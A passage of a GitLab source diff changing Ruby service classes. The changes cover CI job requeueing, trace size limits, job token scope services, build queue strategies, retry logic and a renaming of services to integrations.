Gitlab::Recaptcha.load_configurations!
@@ -31,11 +38,13 @@ module Captcha
# 2. We want control over the wording and i18n of the message
# 3. We want a consistent interface and behavior when adding support for other captcha
# libraries which may not support automatically adding errors to the model.
- verify_recaptcha(response: captcha_response)
+ verify_recaptcha(response: spam_params.captcha_response)
end
private
+ attr_reader :spam_params
+
# The recaptcha library's Recaptcha::Verify#verify_recaptcha method requires that
# 'request' be a readable attribute - it doesn't support passing it as an options argument.
attr_reader :request
diff --git a/app/services/ci/after_requeue_job_service.rb b/app/services/ci/after_requeue_job_service.rb
index 2b611c857c7..b422e57baad 100644
--- a/app/services/ci/after_requeue_job_service.rb
+++ b/app/services/ci/after_requeue_job_service.rb
@@ -10,8 +10,16 @@ module Ci
private
def process_subsequent_jobs(processable)
- processable.pipeline.processables.skipped.after_stage(processable.stage_idx).find_each do |processable|
- process(processable)
+ if Feature.enabled?(:ci_same_stage_job_needs, processable.project, default_enabled: :yaml)
+ (stage_dependent_jobs(processable) | needs_dependent_jobs(processable))
+ .each do |processable|
+ process(processable)
+ end
+ else
+ skipped_jobs(processable).after_stage(processable.stage_idx)
+ .find_each do |job|
+ process(job)
+ end
end
end
@@ -24,5 +32,17 @@ module Ci
processable.process(current_user)
end
end
+
+ def skipped_jobs(processable)
+ processable.pipeline.processables.skipped
+ end
+
+ def stage_dependent_jobs(processable)
+ skipped_jobs(processable).scheduling_type_stage.after_stage(processable.stage_idx)
+ end
+
+ def needs_dependent_jobs(processable)
+ skipped_jobs(processable).scheduling_type_dag.with_needs([processable.name])
+ end
end
end
diff --git a/app/services/ci/append_build_trace_service.rb b/app/services/ci/append_build_trace_service.rb
index 602f8c5030d..8200f9790ee 100644
--- a/app/services/ci/append_build_trace_service.rb
+++ b/app/services/ci/append_build_trace_service.rb
@@ -24,6 +24,12 @@ module Ci
body_start = content_range[0].to_i
body_end = body_start + body_data.bytesize
+ if trace_size_exceeded?(body_end)
+ build.drop(:trace_size_exceeded)
+
+ return Result.new(status: 403)
+ end
+
stream_size = build.trace.append(body_data, body_start)
unless stream_size == body_end
@@ -37,6 +43,8 @@ module Ci
private
+ delegate :project, to: :build
+
def stream_range
params.fetch(:content_range)
end
@@ -61,5 +69,10 @@ module Ci
::Gitlab::ErrorTracking
.log_exception(TraceRangeError.new, extra)
end
+
+ def trace_size_exceeded?(size)
+ Feature.enabled?(:ci_jobs_trace_size_limit, project, default_enabled: :yaml) &&
+ project.actual_limits.exceeded?(:ci_jobs_trace_size_limit, size / 1.megabyte)
+ end
end
end
diff --git a/app/services/ci/create_downstream_pipeline_service.rb b/app/services/ci/create_downstream_pipeline_service.rb
index 1eff76c2e5d..e9ec2338171 100644
--- a/app/services/ci/create_downstream_pipeline_service.rb
+++ b/app/services/ci/create_downstream_pipeline_service.rb
@@ -120,7 +120,7 @@ module Ci
return false if @bridge.triggers_child_pipeline?
if Feature.enabled?(:ci_drop_cyclical_triggered_pipelines, @bridge.project, default_enabled: :yaml)
- pipeline_checksums = @bridge.pipeline.base_and_ancestors.filter_map do |pipeline|
+ pipeline_checksums = @bridge.pipeline.self_and_upstreams.filter_map do |pipeline|
config_checksum(pipeline) unless pipeline.child?
end
@@ -131,7 +131,7 @@ module Ci
def has_max_descendants_depth?
return false unless @bridge.triggers_child_pipeline?
- ancestors_of_new_child = @bridge.pipeline.base_and_ancestors(same_project: true)
+ ancestors_of_new_child = @bridge.pipeline.self_and_ancestors
ancestors_of_new_child.count > MAX_DESCENDANTS_DEPTH
end
diff --git a/app/services/ci/destroy_pipeline_service.rb b/app/services/ci/destroy_pipeline_service.rb
index 1d9533ed76f..494fcb23a06 100644
--- a/app/services/ci/destroy_pipeline_service.rb
+++ b/app/services/ci/destroy_pipeline_service.rb
@@ -7,7 +7,9 @@ module Ci
Ci::ExpirePipelineCacheService.new.execute(pipeline, delete: true)
- pipeline.destroy!
+ pipeline.cancel_running if pipeline.cancelable? && ::Feature.enabled?(:cancel_pipelines_prior_to_destroy, default_enabled: :yaml)
+
+ pipeline.reset.destroy!
ServiceResponse.success(message: 'Pipeline not found')
rescue ActiveRecord::RecordNotFound
diff --git a/app/services/ci/expire_pipeline_cache_service.rb b/app/services/ci/expire_pipeline_cache_service.rb
index 80c83818d0b..48a6344f576 100644
--- a/app/services/ci/expire_pipeline_cache_service.rb
+++ b/app/services/ci/expire_pipeline_cache_service.rb
@@ -77,7 +77,7 @@ module Ci
store.touch(path)
end
- pipeline.self_with_ancestors_and_descendants.each do |relative_pipeline|
+ pipeline.self_with_upstreams_and_downstreams.each do |relative_pipeline|
store.touch(project_pipeline_path(relative_pipeline.project, relative_pipeline))
store.touch(graphql_pipeline_path(relative_pipeline))
store.touch(graphql_pipeline_sha_path(relative_pipeline.sha))
diff --git a/app/services/ci/job_token_scope/add_project_service.rb b/app/services/ci/job_token_scope/add_project_service.rb
new file mode 100644
index 00000000000..d03ae434b69
--- /dev/null
+++ b/app/services/ci/job_token_scope/add_project_service.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Ci
+ module JobTokenScope
+ class AddProjectService < ::BaseService
+ include EditScopeValidations
+
+ def execute(target_project)
+ validate_edit!(project, target_project, current_user)
+
+ link = add_project!(target_project)
+ ServiceResponse.success(payload: { project_link: link })
+
+ rescue ActiveRecord::RecordNotUnique
+ ServiceResponse.error(message: "Target project is already in the job token scope")
+ rescue ActiveRecord::RecordInvalid => e
+ ServiceResponse.error(message: e.message)
+ rescue EditScopeValidations::ValidationError => e
+ ServiceResponse.error(message: e.message)
+ end
+
+ def add_project!(target_project)
+ ::Ci::JobToken::ProjectScopeLink.create!(
+ source_project: project,
+ target_project: target_project,
+ added_by: current_user
+ )
+ end
+ end
+ end
+end
diff --git a/app/services/ci/job_token_scope/remove_project_service.rb b/app/services/ci/job_token_scope/remove_project_service.rb
new file mode 100644
index 00000000000..15644e529d9
--- /dev/null
+++ b/app/services/ci/job_token_scope/remove_project_service.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Ci
+ module JobTokenScope
+ class RemoveProjectService < ::BaseService
+ include EditScopeValidations
+
+ def execute(target_project)
+ validate_edit!(project, target_project, current_user)
+
+ if project == target_project
+ return ServiceResponse.error(message: "Source project cannot be removed from the job token scope")
+ end
+
+ link = ::Ci::JobToken::ProjectScopeLink.for_source_and_target(project, target_project)
+
+ unless link
+ return ServiceResponse.error(message: "Target project is not in the job token scope")
+ end
+
+ if link.destroy
+ ServiceResponse.success
+ else
+ ServiceResponse.error(message: link.errors.full_messages.to_sentence, payload: { project_link: link })
+ end
+ rescue EditScopeValidations::ValidationError => e
+ ServiceResponse.error(message: e.message)
+ end
+ end
+ end
+end
diff --git a/app/services/ci/pipeline_schedules/calculate_next_run_service.rb b/app/services/ci/pipeline_schedules/calculate_next_run_service.rb
index 9978b2d4775..9c8f6b47288 100644
--- a/app/services/ci/pipeline_schedules/calculate_next_run_service.rb
+++ b/app/services/ci/pipeline_schedules/calculate_next_run_service.rb
@@ -12,15 +12,16 @@ module Ci
return fallback_method.call unless plan_cron&.cron_valid?
now = Time.zone.now
+ plan_min_run = plan_cron.next_time_from(now)
schedule_next_run = schedule_cron.next_time_from(now)
- return schedule_next_run if worker_cron.match?(schedule_next_run) && plan_cron.match?(schedule_next_run)
+ return schedule_next_run if worker_cron.match?(schedule_next_run) && plan_min_run <= schedule_next_run
- plan_next_run = plan_cron.next_time_from(now)
+ plan_next_run = plan_cron.next_time_from(schedule_next_run)
return plan_next_run if worker_cron.match?(plan_next_run)
- worker_next_run = worker_cron.next_time_from(now)
- return worker_next_run if plan_cron.match?(worker_next_run)
+ worker_next_run = worker_cron.next_time_from(schedule_next_run)
+ return worker_next_run if plan_min_run <= worker_next_run
worker_cron.next_time_from(plan_next_run)
end
diff --git a/app/services/ci/pipelines/add_job_service.rb b/app/services/ci/pipelines/add_job_service.rb
new file mode 100644
index 00000000000..03bdb491200
--- /dev/null
+++ b/app/services/ci/pipelines/add_job_service.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Ci
+ module Pipelines
+ class AddJobService
+ attr_reader :pipeline
+
+ def initialize(pipeline)
+ @pipeline = pipeline
+
+ raise ArgumentError, "Pipeline must be persisted for this service to be used" unless @pipeline.persisted?
+ end
+
+ def execute!(job, &block)
+ assign_pipeline_attributes(job)
+
+ Ci::Pipeline.transaction do
+ yield(job)
+
+ job.update_older_statuses_retried! if Feature.enabled?(:ci_fix_commit_status_retried, @pipeline.project, default_enabled: :yaml)
+ end
+
+ ServiceResponse.success(payload: { job: job })
+ rescue StandardError => e
+ ServiceResponse.error(message: e.message, payload: { job: job })
+ end
+
+ private
+
+ def assign_pipeline_attributes(job)
+ job.pipeline = @pipeline
+ job.project = @pipeline.project
+ job.ref = @pipeline.ref
+ end
+ end
+ end
+end
diff --git a/app/services/ci/play_bridge_service.rb b/app/services/ci/play_bridge_service.rb
index 2f0bcece9e3..a719467253e 100644
--- a/app/services/ci/play_bridge_service.rb
+++ b/app/services/ci/play_bridge_service.rb
@@ -9,8 +9,6 @@ module Ci
bridge.user = current_user
bridge.enqueue!
- next unless ::Feature.enabled?(:ci_fix_pipeline_status_for_dag_needs_manual, project, default_enabled: :yaml)
-
AfterRequeueJobService.new(project, current_user).execute(bridge)
end
end
diff --git a/app/services/ci/play_build_service.rb b/app/services/ci/play_build_service.rb
index 073c1a2d0e0..c1cf06a4631 100644
--- a/app/services/ci/play_build_service.rb
+++ b/app/services/ci/play_build_service.rb
@@ -11,8 +11,6 @@ module Ci
build.tap do |build|
build.update(user: current_user, job_variables_attributes: job_variables_attributes || [])
- next unless ::Feature.enabled?(:ci_fix_pipeline_status_for_dag_needs_manual, project, default_enabled: :yaml)
-
AfterRequeueJobService.new(project, current_user).execute(build)
end
else
diff --git a/app/services/ci/queue/build_queue_service.rb b/app/services/ci/queue/build_queue_service.rb
new file mode 100644
index 00000000000..99408d529b2
--- /dev/null
+++ b/app/services/ci/queue/build_queue_service.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+module Ci
+ module Queue
+ class BuildQueueService
+ include ::Gitlab::Utils::StrongMemoize
+
+ attr_reader :runner
+
+ def initialize(runner)
+ @runner = runner
+ end
+
+ def new_builds
+ strategy.new_builds
+ end
+
+ ##
+ # This is overridden in EE
+ #
+ def builds_for_shared_runner
+ strategy.builds_for_shared_runner
+ end
+
+ # rubocop:disable CodeReuse/ActiveRecord
+ def builds_for_group_runner
+ # Workaround for weird Rails bug, that makes `runner.groups.to_sql` to return `runner_id = NULL`
+ groups = ::Group.joins(:runner_namespaces).merge(runner.runner_namespaces)
+
+ hierarchy_groups = Gitlab::ObjectHierarchy
+ .new(groups)
+ .base_and_descendants
+
+ projects = Project.where(namespace_id: hierarchy_groups)
+ .with_group_runners_enabled
+ .with_builds_enabled
+ .without_deleted
+
+ relation = new_builds.where(project: projects)
+
+ order(relation)
+ end
+
+ def builds_for_project_runner
+ relation = new_builds
+ .where(project: runner.projects.without_deleted.with_builds_enabled)
+
+ order(relation)
+ end
+
+ def builds_queued_before(relation, time)
+ relation.queued_before(time)
+ end
+
+ def builds_for_protected_runner(relation)
+ relation.ref_protected
+ end
+
+ def builds_matching_tag_ids(relation, ids)
+ strategy.builds_matching_tag_ids(relation, ids)
+ end
+
+ def builds_with_any_tags(relation)
+ strategy.builds_with_any_tags(relation)
+ end
+
+ def order(relation)
+ strategy.order(relation)
+ end
+
+ def execute(relation)
+ strategy.build_ids(relation)
+ end
+
+ private
+
+ def strategy
+ strong_memoize(:strategy) do
+ if ::Feature.enabled?(:ci_pending_builds_queue_source, runner, default_enabled: :yaml)
+ Queue::PendingBuildsStrategy.new(runner)
+ else
+ Queue::BuildsTableStrategy.new(runner)
+ end
+ end
+ end
+ end
+ end
+end
+
+Ci::Queue::BuildQueueService.prepend_mod_with('Ci::Queue::BuildQueueService')
diff --git a/app/services/ci/queue/builds_table_strategy.rb b/app/services/ci/queue/builds_table_strategy.rb
new file mode 100644
index 00000000000..c941734ac40
--- /dev/null
+++ b/app/services/ci/queue/builds_table_strategy.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+module Ci
+ module Queue
+ class BuildsTableStrategy
+ attr_reader :runner
+
+ def initialize(runner)
+ @runner = runner
+ end
+
+ # rubocop:disable CodeReuse/ActiveRecord
+ def builds_for_shared_runner
+ relation = new_builds
+ # don't run projects which have not enabled shared runners and builds
+ .joins('INNER JOIN projects ON ci_builds.project_id = projects.id')
+ .where(projects: { shared_runners_enabled: true, pending_delete: false })
+ .joins('LEFT JOIN project_features ON ci_builds.project_id = project_features.project_id')
+ .where('project_features.builds_access_level IS NULL or project_features.builds_access_level > 0')
+
+ if Feature.enabled?(:ci_queueing_disaster_recovery_disable_fair_scheduling, runner, type: :ops, default_enabled: :yaml)
+ # if disaster recovery is enabled, we fallback to FIFO scheduling
+ relation.order('ci_builds.id ASC')
+ else
+ # Implement fair scheduling
+ # this returns builds that are ordered by number of running builds
+ # we prefer projects that don't use shared runners at all
+ relation
+ .joins("LEFT JOIN (#{running_builds_for_shared_runners.to_sql}) AS project_builds ON ci_builds.project_id = project_builds.project_id")
+ .order(Arel.sql('COALESCE(project_builds.running_builds, 0) ASC'), 'ci_builds.id ASC')
+ end
+ end
+
+ def builds_matching_tag_ids(relation, ids)
+ # pick builds that does not have other tags than runner's one
+ relation.matches_tag_ids(ids)
+ end
+
+ def builds_with_any_tags(relation)
+ # pick builds that have at least one tag
+ relation.with_any_tags
+ end
+
+ def order(relation)
+ relation.order('id ASC')
+ end
+
+ def new_builds
+ ::Ci::Build.pending.unstarted
+ end
+
+ def build_ids(relation)
+ relation.pluck(:id)
+ end
+
+ private
+
+ def running_builds_for_shared_runners
+ ::Ci::Build.running
+ .where(runner: ::Ci::Runner.instance_type)
+ .group(:project_id)
+ .select(:project_id, 'COUNT(*) AS running_builds')
+ end
+ # rubocop:enable CodeReuse/ActiveRecord
+ end
+ end
+end
diff --git a/app/services/ci/queue/pending_builds_strategy.rb b/app/services/ci/queue/pending_builds_strategy.rb
new file mode 100644
index 00000000000..55d5cb96a0a
--- /dev/null
+++ b/app/services/ci/queue/pending_builds_strategy.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+module Ci
+ module Queue
+ class PendingBuildsStrategy
+ attr_reader :runner
+
+ def initialize(runner)
+ @runner = runner
+ end
+
+ # rubocop:disable CodeReuse/ActiveRecord
+ def builds_for_shared_runner
+ relation = new_builds
+ # don't run projects which have not enabled shared runners and builds
+ .joins('INNER JOIN projects ON ci_pending_builds.project_id = projects.id')
+ .where(projects: { shared_runners_enabled: true, pending_delete: false })
+ .joins('LEFT JOIN project_features ON ci_pending_builds.project_id = project_features.project_id')
+ .where('project_features.builds_access_level IS NULL or project_features.builds_access_level > 0')
+
+ if Feature.enabled?(:ci_queueing_disaster_recovery_disable_fair_scheduling, runner, type: :ops, default_enabled: :yaml)
+ # if disaster recovery is enabled, we fallback to FIFO scheduling
+ relation.order('ci_pending_builds.build_id ASC')
+ else
+ # Implement fair scheduling
+ # this returns builds that are ordered by number of running builds
+ # we prefer projects that don't use shared runners at all
+ relation
+ .with(running_builds_for_shared_runners_cte.to_arel)
+ .joins("LEFT JOIN project_builds ON ci_pending_builds.project_id = project_builds.project_id")
+ .order(Arel.sql('COALESCE(project_builds.running_builds, 0) ASC'), 'ci_pending_builds.build_id ASC')
+ end
+ end
+
+ def builds_matching_tag_ids(relation, ids)
+ relation.merge(CommitStatus.matches_tag_ids(ids, table: 'ci_pending_builds', column: 'build_id'))
+ end
+
+ def builds_with_any_tags(relation)
+ relation.merge(CommitStatus.with_any_tags(table: 'ci_pending_builds', column: 'build_id'))
+ end
+
+ def order(relation)
+ relation.order('build_id ASC')
+ end
+
+ def new_builds
+ ::Ci::PendingBuild.all
+ end
+
+ def build_ids(relation)
+ relation.pluck(:build_id)
+ end
+
+ private
+
+ def running_builds_for_shared_runners_cte
+ running_builds = ::Ci::RunningBuild
+ .instance_type
+ .group(:project_id)
+ .select(:project_id, 'COUNT(*) AS running_builds')
+
+ ::Gitlab::SQL::CTE
+ .new(:project_builds, running_builds, materialized: true)
+ end
+ # rubocop:enable CodeReuse/ActiveRecord
+ end
+ end
+end
diff --git a/app/services/ci/register_job_service.rb b/app/services/ci/register_job_service.rb
index 6280bf4c986..dc046e1d164 100644
--- a/app/services/ci/register_job_service.rb
+++ b/app/services/ci/register_job_service.rb
@@ -103,35 +103,40 @@ module Ci
# rubocop: disable CodeReuse/ActiveRecord
def each_build(params, &blk)
- builds =
+ queue = ::Ci::Queue::BuildQueueService.new(runner)
+
+ builds = begin
if runner.instance_type?
- builds_for_shared_runner
+ queue.builds_for_shared_runner
elsif runner.group_type?
- builds_for_group_runner
+ queue.builds_for_group_runner
else
- builds_for_project_runner
+ queue.builds_for_project_runner
end
+ end
+
+ if runner.ref_protected?
+ builds = queue.builds_for_protected_runner(builds)
+ end
# pick builds that does not have other tags than runner's one
- builds = builds.matches_tag_ids(runner.tags.ids)
+ builds = queue.builds_matching_tag_ids(builds, runner.tags.ids)
# pick builds that have at least one tag
unless runner.run_untagged?
- builds = builds.with_any_tags
+ builds = queue.builds_with_any_tags(builds)
end
# pick builds that older than specified age
if params.key?(:job_age)
- builds = builds.queued_before(params[:job_age].seconds.ago)
+ builds = queue.builds_queued_before(builds, params[:job_age].seconds.ago)
end
- build_ids = retrieve_queue(-> { builds.pluck(:id) })
+ build_ids = retrieve_queue(-> { queue.execute(builds) })
@metrics.observe_queue_size(-> { build_ids.size }, @runner.runner_type)
- build_ids.each do |build_id|
- yield Ci::Build.find(build_id)
- end
+ build_ids.each { |build_id| yield Ci::Build.find(build_id) }
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -204,7 +209,7 @@ module Ci
# We need to use the presenter here because Gitaly calls in the presenter
# may fail, and we need to ensure the response has been generated.
presented_build = ::Ci::BuildRunnerPresenter.new(build) # rubocop:disable CodeReuse/Presenter
- build_json = ::API::Entities::JobRequest::Response.new(presented_build).to_json
+ build_json = ::API::Entities::Ci::JobRequest::Response.new(presented_build).to_json
Result.new(build, build_json, true)
end
@@ -259,63 +264,6 @@ module Ci
)
end
- # rubocop: disable CodeReuse/ActiveRecord
- def builds_for_shared_runner
- relation = new_builds.
- # don't run projects which have not enabled shared runners and builds
- joins(:project).where(projects: { shared_runners_enabled: true, pending_delete: false })
- .joins('LEFT JOIN project_features ON ci_builds.project_id = project_features.project_id')
- .where('project_features.builds_access_level IS NULL or project_features.builds_access_level > 0')
-
- if Feature.enabled?(:ci_queueing_disaster_recovery, runner, type: :ops, default_enabled: :yaml)
- # if disaster recovery is enabled, we fallback to FIFO scheduling
- relation.order('ci_builds.id ASC')
- else
- # Implement fair scheduling
- # this returns builds that are ordered by number of running builds
- # we prefer projects that don't use shared runners at all
- relation
- .joins("LEFT JOIN (#{running_builds_for_shared_runners.to_sql}) AS project_builds ON ci_builds.project_id=project_builds.project_id")
- .order(Arel.sql('COALESCE(project_builds.running_builds, 0) ASC'), 'ci_builds.id ASC')
- end
- end
-
- def builds_for_project_runner
- new_builds.where(project: runner.projects.without_deleted.with_builds_enabled).order('id ASC')
- end
-
- def builds_for_group_runner
- # Workaround for weird Rails bug, that makes `runner.groups.to_sql` to return `runner_id = NULL`
- groups = ::Group.joins(:runner_namespaces).merge(runner.runner_namespaces)
-
- hierarchy_groups = Gitlab::ObjectHierarchy.new(groups, options: { use_distinct: Feature.enabled?(:use_distinct_in_register_job_object_hierarchy) }).base_and_descendants
- projects = Project.where(namespace_id: hierarchy_groups)
- .with_group_runners_enabled
- .with_builds_enabled
- .without_deleted
- new_builds.where(project: projects).order('id ASC')
- end
-
- def running_builds_for_shared_runners
- Ci::Build.running.where(runner: Ci::Runner.instance_type)
- .group(:project_id).select(:project_id, 'count(*) AS running_builds')
- end
-
- def all_builds
- if Feature.enabled?(:ci_pending_builds_queue_join, runner, default_enabled: :yaml)
- Ci::Build.joins(:queuing_entry)
- else
- Ci::Build.all
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- def new_builds
- builds = all_builds.pending.unstarted
- builds = builds.ref_protected if runner.ref_protected?
- builds
- end
-
def pre_assign_runner_checks
{
missing_dependency_failure: -> (build, _) { !build.has_valid_build_dependencies? },
diff --git a/app/services/ci/retry_build_service.rb b/app/services/ci/retry_build_service.rb
index ea76771b80a..08520c9514c 100644
--- a/app/services/ci/retry_build_service.rb
+++ b/app/services/ci/retry_build_service.rb
@@ -10,10 +10,17 @@ module Ci
resource_group scheduling_type].freeze
end
+ def self.extra_accessors
+ []
+ end
+
def execute(build)
build.ensure_scheduling_type!
reprocess!(build).tap do |new_build|
+ check_assignable_runners!(new_build)
+ next if new_build.failed?
+
Gitlab::OptimisticLocking.retry_lock(new_build, name: 'retry_build', &:enqueue)
AfterRequeueJobService.new(project, current_user).execute(build)
@@ -27,18 +34,15 @@ module Ci
def reprocess!(build)
check_access!(build)
- attributes = self.class.clone_accessors.to_h do |attribute|
- [attribute, build.public_send(attribute)] # rubocop:disable GitlabSecurity/PublicSend
- end
-
- attributes[:user] = current_user
-
- Ci::Build.transaction do
- create_build!(attributes).tap do |new_build|
- new_build.update_older_statuses_retried!
- build.reset # refresh the data to get new values of `retried` and `processed`.
+ new_build = clone_build(build)
+ ::Ci::Pipelines::AddJobService.new(build.pipeline).execute!(new_build) do |job|
+ BulkInsertableAssociations.with_bulk_insert do
+ job.save!
end
end
+ build.reset # refresh the data to get new values of `retried` and `processed`.
+
+ new_build
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -50,13 +54,21 @@ module Ci
end
end
- def create_build!(attributes)
- build = project.builds.new(attributes)
- build.assign_attributes(::Gitlab::Ci::Pipeline::Seed::Build.environment_attributes_for(build))
- BulkInsertableAssociations.with_bulk_insert do
- build.save!
+ def check_assignable_runners!(build); end
+
+ def clone_build(build)
+ project.builds.new(build_attributes(build)).tap do |new_build|
+ new_build.assign_attributes(::Gitlab::Ci::Pipeline::Seed::Build.environment_attributes_for(new_build))
end
- build
+ end
+
+ def build_attributes(build)
+ attributes = self.class.clone_accessors.to_h do |attribute|
+ [attribute, build.public_send(attribute)] # rubocop:disable GitlabSecurity/PublicSend
+ end
+
+ attributes[:user] = current_user
+ attributes
end
end
end
diff --git a/app/services/ci/retry_pipeline_service.rb b/app/services/ci/retry_pipeline_service.rb
index 5cc6b89bfef..02ee40d2cf6 100644
--- a/app/services/ci/retry_pipeline_service.rb
+++ b/app/services/ci/retry_pipeline_service.rb
@@ -13,8 +13,8 @@ module Ci
pipeline.ensure_scheduling_type!
- pipeline.retryable_builds.preload_needs.find_each do |build|
- next unless can?(current_user, :update_build, build)
+ builds_relation(pipeline).find_each do |build|
+ next unless can_be_retried?(build)
Ci::RetryBuildService.new(project, current_user)
.reprocess!(build)
@@ -36,5 +36,17 @@ module Ci
.new(pipeline)
.execute
end
+
+ private
+
+ def builds_relation(pipeline)
+ pipeline.retryable_builds.preload_needs
+ end
+
+ def can_be_retried?(build)
+ can?(current_user, :update_build, build)
+ end
end
end
+
+Ci::RetryPipelineService.prepend_mod_with('Ci::RetryPipelineService')
diff --git a/app/services/concerns/alert_management/alert_processing.rb b/app/services/concerns/alert_management/alert_processing.rb
index 98d255dec27..2b556a4339d 100644
--- a/app/services/concerns/alert_management/alert_processing.rb
+++ b/app/services/concerns/alert_management/alert_processing.rb
@@ -64,7 +64,7 @@ module AlertManagement
def process_new_alert
if alert.save
- alert.execute_services
+ alert.execute_integrations
SystemNoteService.create_new_alert(alert, alert_source)
process_resolved_alert if resolving_alert?
diff --git a/app/services/concerns/ci/job_token_scope/edit_scope_validations.rb b/app/services/concerns/ci/job_token_scope/edit_scope_validations.rb
new file mode 100644
index 00000000000..23053975313
--- /dev/null
+++ b/app/services/concerns/ci/job_token_scope/edit_scope_validations.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module Ci
+ module JobTokenScope
+ module EditScopeValidations
+ ValidationError = Class.new(StandardError)
+
+ TARGET_PROJECT_UNAUTHORIZED_OR_UNFOUND = "The target_project that you are attempting to access does " \
+ "not exist or you don't have permission to perform this action"
+
+ def validate_edit!(source_project, target_project, current_user)
+ unless source_project.ci_job_token_scope_enabled?
+ raise ValidationError, "Job token scope is disabled for this project"
+ end
+
+ unless can?(current_user, :admin_project, source_project)
+ raise ValidationError, "Insufficient permissions to modify the job token scope"
+ end
+
+ unless can?(current_user, :read_project, target_project)
+ raise ValidationError, TARGET_PROJECT_UNAUTHORIZED_OR_UNFOUND
+ end
+ end
+ end
+ end
+end
diff --git a/app/services/concerns/update_repository_storage_methods.rb b/app/services/concerns/update_repository_storage_methods.rb
index 6e4824bd784..cbcd0b7f56b 100644
--- a/app/services/concerns/update_repository_storage_methods.rb
+++ b/app/services/concerns/update_repository_storage_methods.rb
@@ -38,11 +38,7 @@ module UpdateRepositoryStorageMethods
rescue StandardError => e
repository_storage_move.do_fail!
- Gitlab::ErrorTracking.track_exception(e, container_klass: container.class.to_s, container_path: container.full_path)
-
- ServiceResponse.error(
- message: s_("UpdateRepositoryStorage|Error moving repository storage for %{container_full_path} - %{message}") % { container_full_path: container.full_path, message: e.message }
- )
+ Gitlab::ErrorTracking.track_and_raise_exception(e, container_klass: container.class.to_s, container_path: container.full_path)
end
private
diff --git a/app/services/design_management/save_designs_service.rb b/app/services/design_management/save_designs_service.rb
index 44ebd45f76e..a1fce45434b 100644
--- a/app/services/design_management/save_designs_service.rb
+++ b/app/services/design_management/save_designs_service.rb
@@ -119,7 +119,7 @@ module DesignManagement
# Returns the latest blobs for the designs as a Hash of `{ Design => Blob }`
def existing_blobs
@existing_blobs ||= begin
- items = designs.map { |d| ['HEAD', d.full_path] }
+ items = designs.map { |d| [target_branch, d.full_path] }
repository.blobs_at(items).each_with_object({}) do |blob, h|
design = designs.find { |d| d.full_path == blob.path }
diff --git a/app/services/error_tracking/collect_error_service.rb b/app/services/error_tracking/collect_error_service.rb
new file mode 100644
index 00000000000..bc1f238d81f
--- /dev/null
+++ b/app/services/error_tracking/collect_error_service.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module ErrorTracking
+ class CollectErrorService < ::BaseService
+ def execute
+ # Error is a way to group events based on common data like name or cause
+ # of exception. We need to keep a sane balance here between taking too little
+ # and too much data into group logic.
+ error = project.error_tracking_errors.report_error(
+ name: exception['type'], # Example: ActionView::MissingTemplate
+ description: exception['value'], # Example: Missing template posts/show in...
+ actor: event['transaction'], # Example: PostsController#show
+ platform: event['platform'], # Example: ruby
+ timestamp: event['timestamp']
+ )
+
+ # The payload field contains all the data on error including stacktrace in jsonb.
+ # Together with occured_at these are 2 main attributes that we need to save here.
+ error.events.create!(
+ environment: event['environment'],
+ description: exception['type'],
+ level: event['level'],
+ occurred_at: event['timestamp'],
+ payload: event
+ )
+ end
+
+ private
+
+ def event
+ params[:event]
+ end
+
+ def exception
+ event['exception']['values'].first
+ end
+ end
+end
diff --git a/app/services/git/base_hooks_service.rb b/app/services/git/base_hooks_service.rb
index 1ca1bfa0c05..1eb54e13522 100644
--- a/app/services/git/base_hooks_service.rb
+++ b/app/services/git/base_hooks_service.rb
@@ -69,7 +69,7 @@ module Git
# Creating push_data invokes one CommitDelta RPC per commit. Only
# build this data if we actually need it.
project.execute_hooks(push_data, hook_name) if project.has_active_hooks?(hook_name)
- project.execute_services(push_data, hook_name) if project.has_active_services?(hook_name)
+ project.execute_integrations(push_data, hook_name) if project.has_active_integrations?(hook_name)
end
def enqueue_invalidate_cache
diff --git a/app/services/git/wiki_push_service/change.rb b/app/services/git/wiki_push_service/change.rb
index 9109a7f9d58..8fc821b59fc 100644
--- a/app/services/git/wiki_push_service/change.rb
+++ b/app/services/git/wiki_push_service/change.rb
@@ -66,7 +66,8 @@ module Git
def strip_extension(filename)
return unless filename
- File.basename(filename, File.extname(filename))
+ encoded_filename = Gitlab::EncodingHelper.encode_utf8(filename.dup)
+ File.basename(encoded_filename, File.extname(encoded_filename))
end
end
end
diff --git a/app/services/gpg_keys/create_service.rb b/app/services/gpg_keys/create_service.rb
index e41444b2a82..ab8b12732d7 100644
--- a/app/services/gpg_keys/create_service.rb
+++ b/app/services/gpg_keys/create_service.rb
@@ -3,9 +3,17 @@
module GpgKeys
class CreateService < Keys::BaseService
def execute
- key = user.gpg_keys.create(params)
+ key = create(params)
notification_service.new_gpg_key(key) if key.persisted?
key
end
+
+ private
+
+ def create(params)
+ user.gpg_keys.create(params)
+ end
end
end
+
+GpgKeys::CreateService.prepend_mod
diff --git a/app/services/gpg_keys/destroy_service.rb b/app/services/gpg_keys/destroy_service.rb
index cecbfe26611..2e82509897e 100644
--- a/app/services/gpg_keys/destroy_service.rb
+++ b/app/services/gpg_keys/destroy_service.rb
@@ -7,3 +7,5 @@ module GpgKeys
end
end
end
+
+GpgKeys::DestroyService.prepend_mod
diff --git a/app/services/groups/group_links/create_service.rb b/app/services/groups/group_links/create_service.rb
index 5f81e5972b0..8c3ba0a63f2 100644
--- a/app/services/groups/group_links/create_service.rb
+++ b/app/services/groups/group_links/create_service.rb
@@ -24,7 +24,7 @@ module Groups
)
if link.save
- shared_with_group.refresh_members_authorized_projects(direct_members_only: true)
+ shared_with_group.refresh_members_authorized_projects(blocking: false, direct_members_only: true)
success(link: link)
else
error(link.errors.full_messages.to_sentence, 409)
diff --git a/app/services/groups/group_links/destroy_service.rb b/app/services/groups/group_links/destroy_service.rb
index 05504a80f46..0e7fd7e0817 100644
--- a/app/services/groups/group_links/destroy_service.rb
+++ b/app/services/groups/group_links/destroy_service.rb
@@ -16,7 +16,7 @@ module Groups
groups_to_refresh = links.map(&:shared_with_group)
groups_to_refresh.uniq.each do |group|
